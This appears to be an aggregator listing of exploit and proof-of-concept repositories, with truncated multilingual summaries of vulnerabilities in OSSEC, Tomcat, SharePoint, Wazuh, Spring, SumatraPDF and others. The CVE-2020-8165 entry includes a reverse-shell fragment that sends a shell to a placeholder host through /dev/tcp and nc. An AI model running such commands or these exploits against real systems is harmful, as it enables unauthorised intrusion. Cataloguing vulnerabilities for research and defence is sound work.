CVE-2014-5284

CVE-2014-5284 Implémentation en Bash de CVE-2014-5284 Titre de l'exploit : ossec 2.8 Vulnérabilité de création de fichier temporaire non sécurisé – Élévation de privilèges Python est sympa mais ne fonctionne pas tout le temps Auteur de l'exploit : mbadanoiu Auteur de l'exploit Python : skynet-13...

CVE-2022-48565-POC

CVE-2022-48565 PoC Introduction Ceci est une preuve de concept PoC démontrant la vulnérabilité CVE-2022-48565 , qui est basée sur la désérialisation non sécurisée de fichiers Plist en Python. En traitant des fichiers Property List Plist spécialement conçus, un attaquant peut exécuter du code...

CVE-2025-70341

CVE-2025-70341 : Permissions non sécurisées + Exécution de code arbitraire dans App-Auto-Patch Résumé App-Auto-Patch v3.4.2 crée son répertoire de travail avec des permissions accessibles en écriture par tous les utilisateurs chmod 777, ce qui permet une condition de course TOCTOU...

bandexploit

Band Exploit CVE-2018-11631 Un script Python simple utilisant Gatttool pour exploiter une montre connectée Bluetooth Low Energy non sécurisée M1 Band 1. CVE-2018-11631 : https://nvd.nist.gov/vuln/detail/CVE-2018-11631 Utilisation : bandexploit.py options Adresse Options : -h, --help affiche ce...

The vulnerability of the MmMapIoSpace() function in the ThrottleBlood.sys driver allows a hacker to escalate their privileges, execute arbitrary code, or cause a service failure.

The vulnerability of the MmMapIoSpace function in the ThrottleBlood.sys driver, as part of the ThrottleStop utility, is related to open IOCTLs with insufficient access control. Exploiting this vulnerability could allow an attacker to enhance their privileges, execute arbitrary code, or cause...

The vulnerability of the pg_dump utility in the PostgreSQL database management system allows a hacker to execute arbitrary code.

The vulnerability of the pgdump utility in the PostgreSQL database management system is related to the lack of security measures for SQL query structures. Exploiting this vulnerability allows a malicious actor to execute arbitrary code remotely...

accfly

Dans quelle mesure votre caméra de "sécurité" est-elle sécurisée ? Synthèse Au début de 2020, sur mon ancien lieu de travail, j'ai eu l'occasion de participer à un événement interne de type pwn2own. Plusieurs cibles étaient disponibles, mais celle qui m'intéressait le plus était la caméra de...

CVE-2026-63520

CVE-2026-63520 RCE par type non sécurisé SharePoint + chaîne CVE-2026-55040 RCE non authentifié sur Microsoft SharePoint Server. Aucun identifiant requis. Stephen Fewer Rapid7 a démontré CVE-2026-55040 lors du Pwn2Own Berlin 2026. Rapid7 a ensuite découvert CVE-2026-63520 lors de recherches de...

CVE-2020-8165

CVE-2020-8165 Эксплойт на Python Это код для эксплуатации CVE-2020-8165 с использованием Python3. Эксплойт работает с rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Основные источники Оригинальные данные CVE:...

CVE-2025-24813-PoC-Apache-Tomcat-RCE

Apache Tomcat CVE-2025-24813 개념 증명PoC Apache Tomcat 역직렬화 취약점CVE-2025-24813에 대한 개념 증명 익스플로잇입니다. 이 도구는 공격자가 Tomcat의 세션 관리에서 안전하지 않은 역직렬화를 어떻게 악용할 수 있는지 보여줍니다. 경고 : 이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 소유하지 않은 시스템에 대한 무단 사용은 불법입니다. 기능 기본안전 페이로드 및 사용자 정의 페이로드 지원 SSL/TLS 지원 선택적 인증 확인 우회 가능 색상 코드 출력으로...

CVE-2026-35678

Отчет об исследовании уязвимости: Небезопасная прямая ссылка на объект IDOR во всех Eduplus Student ERP Исследователь: Винай Шарма 1. Краткое резюме В данном отчете описывается уязвимость высокой степени серьезности, обнаруженная в платформе Eduplus Student ERP, в частности в студенческом портале...

CVE-2018-8090

CVE-2018-8090 Détournement de DLL dans Quickheal Total Security/ Internet Security/ Antivirus Pro Installeurs Produits concernés : Quick Heal Total Security - 17.00 Quick Heal Internet Security - 17.00 Quick Heal AntiVirus Pro - 17.00 Installeurs concernés : Quick Heal Total Security 64 bit 17.00...

secure-by-default-rce-demo

Atténuation des RCE Node.js : DevOps comme dernière ligne de défense Ce projet démontre une vulnérabilité critique d'exécution de code à distance RCE dans une application Next.js notamment via les Server Actions et comment le renforcement de l'infrastructure neutralise efficacement l'attaque même...

CVE-2026-25961-SumatraPDF-3.5.0---3.5.2-RCE

SumatraPDF Insecure Update PoC CVE-2026-25961 – Удаленное выполнение кода через вредоносный сервер обновлений Автор: Mohammed Idrees Banyamer Дата: февраль 2026 CVE: CVE-2026-25961 GHSA: GHSA-xpm2-rr5m-x96q CVSS v3.1: 7.5 High AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H Затронутые версии: SumatraPDF 3.5....

CVE-2025-26318

TSplus Remote Access - CVE-2025-26318 안전하지 않은 권한 정보 노출 📌 설명 TSplus는 기본적으로 TSplus의 도메인에 현재 연결된 사용자 정보가 노출되는 취약점이 있습니다. 🔍 취약점 세부 정보 CVE ID : CVE-2025-26318 공급업체 : TSplus 영향을 받는 버전 : TSplus Remote Access "우리는...

CVE-2026-25769

CVE-2026-25769 - Exécution de code à distance via désérialisation non sécurisée dans le cluster Wazuh Une preuve de concept d'exploitation pour CVE-2026-25769, une exécution de code à distance via désérialisation non sécurisée dans le cluster Wazuh Utilisation : root@kitploit: $ python3 poc.py...

CVE-2026-47864

SerializingHttpMessageConverter deserializes the body of incoming HTTP requests with a raw java.io.ObjectInputStream and no class filtering. Any request with Content-Type application/x-java-serialized-object whose body resolves to a Serializable type is read directly via readObject. If an...

CVE-2026-23001-Hugging-Face-Transformers-Model-Deserialization-Arbitrary-Code-via-Pickle-

CVE-2026-23001 – Десериализация модели Hugging Face Transformers с удалённым выполнением кода RCE Обзор Модели Hugging Face, сохранённые с помощью torch.save, используют сериализацию pickle в Python, которая по своей сути небезопасна. Если пользователь загружает из репозитория внешне легитимную...

EUVD-2026-66841

DefaultExecutionContextSerializer, used by default in Spring Batch's JDBC job repository, passes Base64-decoded bytes directly to ObjectInputStream.readObject without an ObjectInputFilter that restricts types to a trusted class allowlist. Spring Batch 6.0.0 - 6.0.4 Spring Batch 5.2.6 and earlier...

EUVD-2026-66838

SerializingHttpMessageConverter deserializes the body of incoming HTTP requests with a raw java.io.ObjectInputStream and no class filtering. Any request with Content-Type application/x-java-serialized-object whose body resolves to a Serializable type is read directly via readObject. If an...